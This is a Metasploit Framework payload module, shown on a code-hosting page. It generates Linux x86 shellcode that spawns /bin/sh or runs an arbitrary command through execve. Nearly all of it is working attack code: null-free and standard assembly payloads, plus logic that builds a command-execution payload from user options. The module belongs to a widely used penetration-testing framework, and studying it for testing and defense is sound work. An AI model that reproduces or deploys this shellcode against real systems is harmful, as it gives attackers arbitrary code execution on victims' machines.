Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/x86/exec.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
###
7
#
8
# Exec
9
# ----
10
#
11
# Executes an arbitrary command.
12
#
13
###
14
module MetasploitModule
15
CachedSize = 43
16
17
include Msf::Payload::Single
18
include Msf::Payload::Linux::X86::Prepends
19
20
def initialize(info = {})
21
super(
22
merge_info(
23
info,
24
'Name' => 'Linux Execute Command',
25
'Description' => 'Execute an arbitrary command or just a /bin/sh shell',
26
'Author' => [
27
'vlad902',
28
'Geyslan G. Bem <geyslan[at]gmail.com>'
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
['URL', 'https://github.com/geyslan/SLAE/blob/master/4th.assignment/tiny_execve_sh.asm'],
33
['URL', 'https://github.com/geyslan/SLAE/blob/master/improvements/x86_execve_dyn.asm']
34
],
35
'Platform' => 'linux',
36
'Arch' => ARCH_X86
37
)
38
)
39
40
# Register exec options
41
register_options(
42
[
43
OptString.new('CMD', [ false, 'The command string to execute' ]),
44
]
45
)
46
register_advanced_options(
47
[
48
OptBool.new('NullFreeVersion', [ true, 'Null-free shellcode version', false ])
49
]
50
)
51
end
52
53
def generate(_opts = {})
54
cmd = datastore['CMD'] || ''
55
nullfreeversion = datastore['NullFreeVersion']
56
if cmd.empty?
57
#
58
# Builds the exec payload which executes a /bin/sh shell.
59
# execve("/bin/sh", NULL, NULL)
60
#
61
if nullfreeversion
62
# 21 bytes (null-free)
63
payload = <<-EOS
64
xor ecx, ecx ; ecx = NULL
65
mul ecx ; eax and edx = NULL
66
mov al, 0xb ; execve syscall
67
push ecx ; string '\0'
68
push 0x68732f2f ; "//sh"
69
push 0x6e69622f ; "/bin"
70
mov ebx, esp ; pointer to "/bin//sh\0" cmd
71
int 0x80 ; bingo
72
EOS
73
else
74
# 20 bytes (not null-free)
75
payload = <<-EOS
76
xor ecx, ecx ; ecx = NULL
77
mul ecx ; eax and edx = NULL
78
mov al, 0xb ; execve syscall
79
push 0x0068732f ; "/sh\0"
80
push 0x6e69622f ; "/bin"
81
mov ebx, esp ; pointer to "/bin/sh\0" cmd
82
int 0x80 ; bingo
83
EOS
84
end
85
else
86
#
87
# Dynamically builds the exec payload based on the user's options.
88
# execve("/bin/sh", ["/bin/sh", "-c", "CMD"], NULL)
89
#
90
pushw_c_opt = 'dd 0x632d6866' # pushw 0x632d (metasm doesn't support pushw)
91
if nullfreeversion
92
if cmd.length > 0xffff
93
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
94
end
95
96
if cmd.length <= 0xff # 255
97
breg = 'bl'
98
else
99
breg = 'bx'
100
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
101
cmd += ' '
102
end
103
end
104
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"
105
# 47/49 bytes without cmd (null-free)
106
payload = <<-EOS
107
xor ebx, ebx
108
mul ebx
109
mov al, 0xb
110
push edx
111
#{pushw_c_opt} ; "-c"
112
mov edi, esp
113
jmp tocall ; jmp/call/pop cmd address
114
afterjmp:
115
pop esi ; pop cmd address into esi
116
#{mov_cmd_len_to_breg} ; mov (byte/word) (bl/bx), cmd.length
117
mov [esi+ebx], dl ; NUL '\0' terminate cmd
118
push edx
119
push 0x68732f2f ; "//sh"
120
push 0x6e69622f ; "/bin"
121
mov ebx, esp
122
push edx
123
push esi
124
push edi
125
push ebx
126
mov ecx, esp
127
int 0x80
128
tocall:
129
call afterjmp ; call/pop cmd address
130
db "#{cmd}"
131
EOS
132
else
133
# 36 bytes without cmd (not null-free)
134
payload = <<-EOS
135
push 0xb
136
pop eax
137
cdq
138
push edx
139
#{pushw_c_opt} ; "-c"
140
mov edi, esp
141
push 0x0068732f ; "/sh\0"
142
push 0x6e69622f ; "/bin"
143
mov ebx, esp
144
push edx
145
call continue
146
db "#{cmd}", 0x00
147
continue:
148
push edi
149
push ebx
150
mov ecx, esp
151
int 0x80
152
EOS
153
end
154
end
155
Metasm::Shellcode.assemble(Metasm::Ia32.new, payload).encode_string
156
end
157
end
158
159